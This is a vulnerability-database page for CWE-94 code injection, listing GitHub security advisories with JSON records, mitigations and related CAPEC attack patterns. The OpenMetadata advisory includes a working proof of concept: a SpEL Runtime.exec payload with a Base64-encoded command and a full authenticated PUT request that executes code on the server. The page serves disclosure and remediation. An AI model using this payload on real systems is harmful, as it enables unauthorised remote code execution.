Common Weakness Enumeration
CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
9544 vulnerabilities reference this CWE, most recent first.
GHSA-8P5R-6MVV-2435
Vulnerability from github – Published: 2024-04-24 17:06 – Updated: 2024-04-24 17:06
VLAI
Summary
OpenMetadata vulnerable to a SpEL Injection in `PUT /api/v1/events/subscriptions` (`GHSL-2023-251`)
Details
SpEL Injection in PUT /api/v1/events/subscriptions (GHSL-2023-251)
Please note, only authenticated users have access to PUT / POST APIS for /api/v1/policies. Non authenticated users will not be able to access these APIs to exploit the vulnerability. A user must exist in OpenMetadata and have authenticated themselves to exploit this vulnerability.
Similarly to the GHSL-2023-250 issue, AlertUtil::validateExpression is also called from EventSubscriptionRepository.prepare(), which can lead to Remote Code Execution.
@Override
public void prepare(EventSubscription entity, boolean update) {
validateFilterRules(entity);
}
private void validateFilterRules(EventSubscription entity) {
// Resolve JSON blobs into Rule object and perform schema based validation
if (entity.getFilteringRules() != null) {
List<EventFilterRule> rules = entity.getFilteringRules().getRules();
// Validate all the expressions in the rule
for (EventFilterRule rule : rules) {
AlertUtil.validateExpression(rule.getCondition(), Boolean.class);
}
rules.sort(Comparator.comparing(EventFilterRule::getName));
}
}
prepare() is called from EntityRepository.prepareInternal() which, in turn, gets called from the EntityResource.createOrUpdate():
public Response createOrUpdate(UriInfo uriInfo, SecurityContext securityContext, T entity) {
repository.prepareInternal(entity, true);
// If entity does not exist, this is a create operation, else update operation
ResourceContext<T> resourceContext = getResourceContextByName(entity.getFullyQualifiedName());
MetadataOperation operation = createOrUpdateOperation(resourceContext);
OperationContext operationContext = new OperationContext(entityType, operation);
if (operation == CREATE) {
CreateResourceContext<T> createResourceContext = new CreateResourceContext<>(entityType, entity);
authorizer.authorize(securityContext, operationContext, createResourceContext);
entity = addHref(uriInfo, repository.create(uriInfo, entity));
return new PutResponse<>(Response.Status.CREATED, entity, RestUtil.ENTITY_CREATED).toResponse();
}
authorizer.authorize(securityContext, operationContext, resourceContext);
PutResponse<T> response = repository.createOrUpdate(uriInfo, entity);
addHref(uriInfo, response.getEntity());
return response.toResponse();
}
Note that, even though there is an authorization check (authorizer.authorize()), it gets called after prepareInternal() gets called and, therefore, after the SpEL expression has been evaluated.
In order to reach this method, an attacker can send a PUT request to /api/v1/events/subscriptions which gets handled by EventSubscriptionResource.createOrUpdateEventSubscription():
@PUT
@Operation(
operationId = "createOrUpdateEventSubscription",
summary = "Updated an existing or create a new Event Subscription",
description = "Updated an existing or create a new Event Subscription",
responses = {
@ApiResponse(
responseCode = "200",
description = "create Event Subscription",
content =
@Content(
mediaType = "application/json",
schema = @Schema(implementation = CreateEventSubscription.class))),
@ApiResponse(responseCode = "400", description = "Bad request")
})
public Response createOrUpdateEventSubscription(
@Context UriInfo uriInfo, @Context SecurityContext securityContext, @Valid CreateEventSubscription create) {
// Only one Creation is allowed for Data Insight
if (create.getAlertType() == CreateEventSubscription.AlertType.DATA_INSIGHT_REPORT) {
try {
repository.getByName(null, create.getName(), repository.getFields("id"));
} catch (EntityNotFoundException ex) {
if (ReportsHandler.getInstance() != null && ReportsHandler.getInstance().getReportMap().size() > 0) {
throw new BadRequestException("Data Insight Report Alert already exists.");
}
}
}
EventSubscription eventSub = getEventSubscription(create, securityContext.getUserPrincipal().getName());
Response response = createOrUpdate(uriInfo, securityContext, eventSub);
repository.updateEventSubscription((EventSubscription) response.getEntity());
return response;
}
This vulnerability was discovered with the help of CodeQL's Expression language injection (Spring) query.
Proof of concept
- Prepare the payload
- Encode the command to be run (eg:
touch /tmp/pwned) using Base64 (eg:dG91Y2ggL3RtcC9wd25lZA==) - Create the SpEL expression to run the system command:
T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode("dG91Y2ggL3RtcC9wd25lZA==")))
- Encode the command to be run (eg:
- Send the payload using a valid JWT token:
PUT /api/v1/events/subscriptions HTTP/1.1
Host: localhost:8585
Authorization: Bearer <non-admin JWT>
accept: application/json
Connection: close
Content-Type: application/json
Content-Length: 353
{
"name":"ActivityFeedAlert","displayName":"Activity Feed Alerts","alertType":"ChangeEvent","filteringRules":{"rules":[
{"name":"pwn","effect":"exclude","condition":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('dG91Y2ggL3RtcC9wd25lZA==')))"}]},"subscriptionType":"ActivityFeed","enabled":true
}
- Verify that a file called
/tmp/pwnedwas created in the OpenMetadata server
Impact
This issue may lead to Remote Code Execution.
Remediation
Use SimpleEvaluationContext to exclude references to Java types, constructors, and bean references.
Severity
8.8 (High)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.open-metadata:openmetadata-service"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.2.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-28847"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-24T17:06:00Z",
"nvd_published_at": "2024-03-15T20:15:10Z",
"severity": "HIGH"
},
"details": "### SpEL Injection in `PUT /api/v1/events/subscriptions` (`GHSL-2023-251`)\n\n***Please note, only authenticated users have access to PUT / POST APIS for /api/v1/policies. Non authenticated users will not be able to access these APIs to exploit the vulnerability. A user must exist in OpenMetadata and have authenticated themselves to exploit this vulnerability.***\n\nSimilarly to the GHSL-2023-250 issue, `AlertUtil::validateExpression` is also called from [`EventSubscriptionRepository.prepare()`](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/jdbi3/EventSubscriptionRepository.java#L69-L83), which can lead to Remote Code Execution.\n\n```java\n @Override\n public void prepare(EventSubscription entity, boolean update) {\n validateFilterRules(entity);\n }\n\n private void validateFilterRules(EventSubscription entity) {\n // Resolve JSON blobs into Rule object and perform schema based validation\n if (entity.getFilteringRules() != null) {\n List\u003cEventFilterRule\u003e rules = entity.getFilteringRules().getRules();\n // Validate all the expressions in the rule\n for (EventFilterRule rule : rules) {\n AlertUtil.validateExpression(rule.getCondition(), Boolean.class);\n }\n rules.sort(Comparator.comparing(EventFilterRule::getName));\n }\n }\n```\n\n`prepare()` is called from [`EntityRepository.prepareInternal()`](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/jdbi3/EntityRepository.java#L693) which, in turn, gets called from the [`EntityResource.createOrUpdate()`](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/EntityResource.java#L219):\n\n```java\npublic Response createOrUpdate(UriInfo uriInfo, SecurityContext securityContext, T entity) {\n repository.prepareInternal(entity, true);\n\n // If entity does not exist, this is a create operation, else update operation\n ResourceContext\u003cT\u003e resourceContext = getResourceContextByName(entity.getFullyQualifiedName());\n MetadataOperation operation = createOrUpdateOperation(resourceContext);\n OperationContext operationContext = new OperationContext(entityType, operation);\n if (operation == CREATE) {\n CreateResourceContext\u003cT\u003e createResourceContext = new CreateResourceContext\u003c\u003e(entityType, entity);\n authorizer.authorize(securityContext, operationContext, createResourceContext);\n entity = addHref(uriInfo, repository.create(uriInfo, entity));\n return new PutResponse\u003c\u003e(Response.Status.CREATED, entity, RestUtil.ENTITY_CREATED).toResponse();\n }\n authorizer.authorize(securityContext, operationContext, resourceContext);\n PutResponse\u003cT\u003e response = repository.createOrUpdate(uriInfo, entity);\n addHref(uriInfo, response.getEntity());\n return response.toResponse();\n}\n```\n\nNote that, even though there is an authorization check (`authorizer.authorize()`), it gets called after `prepareInternal()` gets called and, therefore, after the SpEL expression has been evaluated.\n\nIn order to reach this method, an attacker can send a PUT request to `/api/v1/events/subscriptions` which gets handled by [`EventSubscriptionResource.createOrUpdateEventSubscription()`](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/events/subscription/EventSubscriptionResource.java#L289):\n\n```java\n@PUT\n@Operation(\n operationId = \"createOrUpdateEventSubscription\",\n summary = \"Updated an existing or create a new Event Subscription\",\n description = \"Updated an existing or create a new Event Subscription\",\n responses = {\n @ApiResponse(\n responseCode = \"200\",\n description = \"create Event Subscription\",\n content =\n @Content(\n mediaType = \"application/json\",\n schema = @Schema(implementation = CreateEventSubscription.class))),\n @ApiResponse(responseCode = \"400\", description = \"Bad request\")\n })\npublic Response createOrUpdateEventSubscription(\n @Context UriInfo uriInfo, @Context SecurityContext securityContext, @Valid CreateEventSubscription create) {\n // Only one Creation is allowed for Data Insight\n if (create.getAlertType() == CreateEventSubscription.AlertType.DATA_INSIGHT_REPORT) {\n try {\n repository.getByName(null, create.getName(), repository.getFields(\"id\"));\n } catch (EntityNotFoundException ex) {\n if (ReportsHandler.getInstance() != null \u0026\u0026 ReportsHandler.getInstance().getReportMap().size() \u003e 0) {\n throw new BadRequestException(\"Data Insight Report Alert already exists.\");\n }\n }\n }\n EventSubscription eventSub = getEventSubscription(create, securityContext.getUserPrincipal().getName());\n Response response = createOrUpdate(uriInfo, securityContext, eventSub);\n repository.updateEventSubscription((EventSubscription) response.getEntity());\n return response;\n}\n```\n\nThis vulnerability was discovered with the help of CodeQL\u0027s [Expression language injection (Spring)](https://codeql.github.com/codeql-query-help/java/java-spel-expression-injection/) query.\n\n#### Proof of concept\n- Prepare the payload\n\t- Encode the command to be run (eg: `touch /tmp/pwned`) using Base64 (eg: `dG91Y2ggL3RtcC9wd25lZA==`)\n\t- Create the SpEL expression to run the system command: `T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode(\"dG91Y2ggL3RtcC9wd25lZA==\")))`\n- Send the payload using a valid JWT token:\n```http\nPUT /api/v1/events/subscriptions HTTP/1.1\nHost: localhost:8585\nAuthorization: Bearer \u003cnon-admin JWT\u003e\naccept: application/json\nConnection: close\nContent-Type: application/json\nContent-Length: 353\n\n{\n\"name\":\"ActivityFeedAlert\",\"displayName\":\"Activity Feed Alerts\",\"alertType\":\"ChangeEvent\",\"filteringRules\":{\"rules\":[\n{\"name\":\"pwn\",\"effect\":\"exclude\",\"condition\":\"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode(\u0027dG91Y2ggL3RtcC9wd25lZA==\u0027)))\"}]},\"subscriptionType\":\"ActivityFeed\",\"enabled\":true\n}\n```\n- Verify that a file called `/tmp/pwned` was created in the OpenMetadata server\n#### Impact\n\nThis issue may lead to Remote Code Execution.\n\n#### Remediation\n\nUse [`SimpleEvaluationContext`](https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/expression/spel/support/SimpleEvaluationContext.html) to exclude *references to Java types, constructors, and bean references*.",
"id": "GHSA-8p5r-6mvv-2435",
"modified": "2024-04-24T17:06:00Z",
"published": "2024-04-24T17:06:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-metadata/OpenMetadata/security/advisories/GHSA-8p5r-6mvv-2435"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28847"
},
{
"type": "WEB",
"url": "https://codeql.github.com/codeql-query-help/java/java-spel-expression-injection"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-metadata/OpenMetadata"
},
{
"type": "WEB",
"url": "https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/jdbi3/EntityRepository.java#L693"
},
{
"type": "WEB",
"url": "https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/jdbi3/EventSubscriptionRepository.java#L69-L83"
},
{
"type": "WEB",
"url": "https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/EntityResource.java#L219"
},
{
"type": "WEB",
"url": "https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/events/subscription/EventSubscriptionResource.java#L289"
},
{
"type": "ADVISORY",
"url": "https://securitylab.github.com/advisories/GHSL-2023-235_GHSL-2023-237_Open_Metadata"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "OpenMetadata vulnerable to a SpEL Injection in `PUT /api/v1/events/subscriptions` (`GHSL-2023-251`)"
}
GHSA-8P6F-W8W3-4G59
Vulnerability from github – Published: 2024-11-28 18:38 – Updated: 2026-04-01 18:32
VLAI
Details
Improper Control of Generation of Code ('Code Injection') vulnerability in Rank Math SEO allows Code Injection.This issue affects Rank Math SEO: from n/a through 1.0.231.
Severity
7.2 (High)
{
"affected": [],
"aliases": [
"CVE-2024-11620"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-28T11:15:48Z",
"severity": "HIGH"
},
"details": "Improper Control of Generation of Code (\u0027Code Injection\u0027) vulnerability in Rank Math SEO allows Code Injection.This issue affects Rank Math SEO: from n/a through 1.0.231.",
"id": "GHSA-8p6f-w8w3-4g59",
"modified": "2026-04-01T18:32:34Z",
"published": "2024-11-28T18:38:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-11620"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/seo-by-rank-math/vulnerability/wordpress-rank-math-seo-plugin-1-0-231-arbitrary-htaccess-overwrite-to-remote-code-execution-rce-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8PCH-H5Q2-P6G5
Vulnerability from github – Published: 2022-05-02 03:53 – Updated: 2022-05-02 03:53
VLAI
Details
PHP remote file inclusion vulnerability in components/core/connect.php in AROUNDMe 1.1 and earlier, when register_globals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the language_path parameter.
{
"affected": [],
"aliases": [
"CVE-2009-4264"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-12-10T16:30:00Z",
"severity": "MODERATE"
},
"details": "PHP remote file inclusion vulnerability in components/core/connect.php in AROUNDMe 1.1 and earlier, when register_globals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the language_path parameter.",
"id": "GHSA-8pch-h5q2-p6g5",
"modified": "2022-05-02T03:53:12Z",
"published": "2022-05-02T03:53:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-4264"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/37567"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/10329"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-8PCR-QRF2-5HPG
Vulnerability from github – Published: 2022-05-14 02:51 – Updated: 2025-04-12 12:39
VLAI
Details
The actionSendErrorReport method in protected/controllers/SiteController.php in X2Engine 2.8 through 4.1.7 allows remote attackers to conduct PHP object injection and Server-Side Request Forgery (SSRF) attacks via crafted serialized data in the report parameter.
{
"affected": [],
"aliases": [
"CVE-2014-5297"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-10-10T01:55:00Z",
"severity": "HIGH"
},
"details": "The actionSendErrorReport method in protected/controllers/SiteController.php in X2Engine 2.8 through 4.1.7 allows remote attackers to conduct PHP object injection and Server-Side Request Forgery (SSRF) attacks via crafted serialized data in the report parameter.",
"id": "GHSA-8pcr-qrf2-5hpg",
"modified": "2025-04-12T12:39:29Z",
"published": "2022-05-14T02:51:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-5297"
},
{
"type": "WEB",
"url": "http://karmainsecurity.com/KIS-2014-09"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/128352/X2Engine-4.1.7-PHP-Object-Injection.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2014/Sep/77"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/533513/100/0/threaded"
},
{
"type": "WEB",
"url": "http://x2community.com/topic/1804-important-security-patch"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-8PFJ-W89W-M24X
Vulnerability from github – Published: 2024-04-11 09:30 – Updated: 2024-05-28 20:18
VLAI
Summary
Code injection in Apache Zeppelin Shell
Details
Improper Control of Generation of Code ('Code Injection') vulnerability in Apache Zeppelin.
The attackers can use Shell interpreter as a code generation gateway, and execute the generated code as a normal way. This issue affects Apache Zeppelin: from 0.10.1 before 0.11.1.
Users are recommended to upgrade to version 0.11.1, which doesn't have Shell interpreter by default.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.zeppelin:zeppelin-shell"
},
"ranges": [
{
"events": [
{
"introduced": "0.10.1"
},
{
"fixed": "0.11.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-31861"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2024-05-28T20:18:43Z",
"nvd_published_at": "2024-04-11T09:15:08Z",
"severity": "MODERATE"
},
"details": "Improper Control of Generation of Code (\u0027Code Injection\u0027) vulnerability in Apache Zeppelin.\n\nThe attackers can use Shell interpreter as a code generation gateway, and execute the generated code as a normal way.\nThis issue affects Apache Zeppelin: from 0.10.1 before 0.11.1.\n\nUsers are recommended to upgrade to version 0.11.1, which doesn\u0027t have Shell interpreter by default.\n\n",
"id": "GHSA-8pfj-w89w-m24x",
"modified": "2024-05-28T20:18:43Z",
"published": "2024-04-11T09:30:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31861"
},
{
"type": "WEB",
"url": "https://github.com/apache/zeppelin/pull/4708"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/zeppelin"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/99clvqrht5l5r6kzjzwg2kj94boc9sfh"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2024/04/10/8"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Code injection in Apache Zeppelin Shell"
}
GHSA-8PGH-M49H-QPXH
Vulnerability from github – Published: 2022-03-15 00:00 – Updated: 2022-03-21 00:00
VLAI
Details
The WPCargo Track & Trace WordPress plugin before 6.9.0 contains a file which could allow unauthenticated attackers to write a PHP file anywhere on the web server, leading to RCE
Severity
9.8 (Critical)
{
"affected": [],
"aliases": [
"CVE-2021-25003"
],
"database_specific": {
"cwe_ids": [
"CWE-434",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-03-14T15:15:00Z",
"severity": "CRITICAL"
},
"details": "The WPCargo Track \u0026 Trace WordPress plugin before 6.9.0 contains a file which could allow unauthenticated attackers to write a PHP file anywhere on the web server, leading to RCE",
"id": "GHSA-8pgh-m49h-qpxh",
"modified": "2022-03-21T00:00:20Z",
"published": "2022-03-15T00:00:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-25003"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/5c21ad35-b2fb-4a51-858f-8ffff685de4a"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8PJ5-4FW9-JFJQ
Vulnerability from github – Published: 2024-11-11 21:31 – Updated: 2024-11-12 18:30
VLAI
Details
The DS allvideo.downloader.browser (aka Fast Video Downloader: Browser) application through 1.6-RC1 for Android allows an attacker to execute arbitrary JavaScript code via the allvideo.downloader.browser.DefaultBrowserActivity component.
Severity
5.4 (Medium)
{
"affected": [],
"aliases": [
"CVE-2024-46965"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-11T20:15:17Z",
"severity": "MODERATE"
},
"details": "The DS allvideo.downloader.browser (aka Fast Video Downloader: Browser) application through 1.6-RC1 for Android allows an attacker to execute arbitrary JavaScript code via the allvideo.downloader.browser.DefaultBrowserActivity component.",
"id": "GHSA-8pj5-4fw9-jfjq",
"modified": "2024-11-12T18:30:51Z",
"published": "2024-11-11T21:31:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-46965"
},
{
"type": "WEB",
"url": "https://github.com/actuator/allvideo.downloader.browser/blob/main/CVE-2024-46965"
},
{
"type": "WEB",
"url": "https://play.google.com/store/apps/details?id=allvideo.downloader.browser"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8PJH-P96W-P5F6
Vulnerability from github – Published: 2022-05-14 02:34 – Updated: 2022-05-14 02:34
VLAI
Details
Microsoft Internet Explorer 7 and 8 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability."
{
"affected": [],
"aliases": [
"CVE-2013-3149"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2013-07-10T03:46:00Z",
"severity": "HIGH"
},
"details": "Microsoft Internet Explorer 7 and 8 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka \"Internet Explorer Memory Corruption Vulnerability.\"",
"id": "GHSA-8pjh-p96w-p5f6",
"modified": "2022-05-14T02:34:17Z",
"published": "2022-05-14T02:34:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-3149"
},
{
"type": "WEB",
"url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2013/ms13-055"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A16821"
},
{
"type": "WEB",
"url": "http://www.us-cert.gov/ncas/alerts/TA13-190A"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-8PPP-2C7Q-MXGH
Vulnerability from github – Published: 2022-05-17 05:05 – Updated: 2022-05-17 05:05
VLAI
Details
(1) snmp.php and (2) rrd.php in Cacti before 0.8.8b allows remote attackers to execute arbitrary commands via shell metacharacters in unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2013-1435"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2013-08-23T16:55:00Z",
"severity": "HIGH"
},
"details": "(1) snmp.php and (2) rrd.php in Cacti before 0.8.8b allows remote attackers to execute arbitrary commands via shell metacharacters in unspecified vectors.",
"id": "GHSA-8ppp-2c7q-mxgh",
"modified": "2022-05-17T05:05:39Z",
"published": "2022-05-17T05:05:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-1435"
},
{
"type": "WEB",
"url": "http://forums.cacti.net/viewtopic.php?f=21\u0026t=50593"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-updates/2013-08/msg00053.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/54181"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/54386"
},
{
"type": "WEB",
"url": "http://svn.cacti.net/viewvc?view=rev\u0026revision=7392"
},
{
"type": "WEB",
"url": "http://svn.cacti.net/viewvc?view=rev\u0026revision=7393"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2012/dsa-2739"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2013/08/07/15"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-8PRM-7QJ4-CVC7
Vulnerability from github – Published: 2022-05-17 00:42 – Updated: 2022-05-17 00:42
VLAI
Details
The create_anchors function in utils.inc in WebSVN 1.x allows remote attackers to execute arbitrary PHP code via a crafted username that is processed by the preg_replace function with the eval switch.
{
"affected": [],
"aliases": [
"CVE-2008-5920"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-01-21T02:30:00Z",
"severity": "HIGH"
},
"details": "The create_anchors function in utils.inc in WebSVN 1.x allows remote attackers to execute arbitrary PHP code via a crafted username that is processed by the preg_replace function with the eval switch.",
"id": "GHSA-8prm-7qj4-cvc7",
"modified": "2022-05-17T00:42:26Z",
"published": "2022-05-17T00:42:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-5920"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/48168"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/6822"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/4928"
},
{
"type": "WEB",
"url": "http://www.gulftech.org/?node=research\u0026article_id=00132-10202008"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/31891"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
Architecture and Design
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
Architecture and Design
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Implementation
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Testing
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Operation
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Operation
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
Implementation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.